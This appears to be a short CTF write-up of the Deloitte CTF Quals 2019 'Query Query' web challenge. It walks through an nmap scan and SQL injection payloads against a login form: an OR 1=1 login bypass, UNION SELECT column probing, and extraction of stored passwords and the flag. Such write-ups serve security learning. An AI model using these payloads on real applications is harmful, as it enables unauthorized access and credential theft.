Deloitte CTF Quals 2019: Query Query

Published June 11, 2019 β€’ 2 minutes read

Query query on the wall.. Who's the fairest of them all? πŸ‘ΈπŸ» was a task labelled web and worth 120 points. It is a standard SQL injection.

Task Description

Let's start with a quick nmap scan:

$ nmap
Starting Nmap 7.80 ( ) at 2019-11-06 15:46 GMT
Nmap scan report for (
  Host is up (0.0038s latency).
  Not shown: 990 closed ports
  22/tcp   open     ssh
  25/tcp   filtered smtp
  53/tcp   filtered domain
  135/tcp  filtered msrpc
  139/tcp  filtered netbios-ssn
  443/tcp  open     https
  445/tcp  filtered microsoft-ds
  2000/tcp open     cisco-sccp
  5060/tcp open     sip
  8008/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 1.27 seconds

Just a web application on port 443:

Web Application

From the title of the challenge, we can imagine that our objective is to perform an SQL injection. Let's try a very simple payload on the username field of the /login page.

Web Application

A simple ' crashes the application, so this field is most likely injectable.

Web Application

Let's try to login as user. This particular username may not exist but it will give us some information on how the application behaves:

user' OR 1=1 --

And we get logged as TESTIING.


Note: Although it is not accessible via a link or button, a /logout route exists and works.

Let's try with a username that will most likely not exist:

does_not_exist' OR 1=1 --

We are logged as TESTIING again. Maybe the SQL query is very weird and still manages to get this user. Let's ignore this for now and carry on.

According to the challenge description, the flag is the password of one of the users stored in the database. Let's see if we can display TESTIING's password. We are going to use the UNION SELECT method, so the first step is to determine how many columns are queried before our input.

whocares' UNION SELECT 1 --
whocares' UNION SELECT 1, 2 --
whocares' UNION SELECT 1, 2, 3 --

All these payloads crashes the application.

whocares' UNION SELECT 1, 2, 3, 4 --

This payload does not crash the application and logs us as 2.

Logged as 2

Let's replace the numbers by actual column names. We guess that the id column exists and that the password column is named password.

whocares' UNION SELECT id, password, id, id from users --

We are now logged as monkey28, which is the password of TESTIING.

Logged as monkey

Let's add a constraint on the password column that matches the flag format:

whocares' UNION SELECT id, password, id, id from users where password like "dctf%" --

And we have our flag!

The flag

Final flag: dctf{c0m3_0n_3113333n!}.

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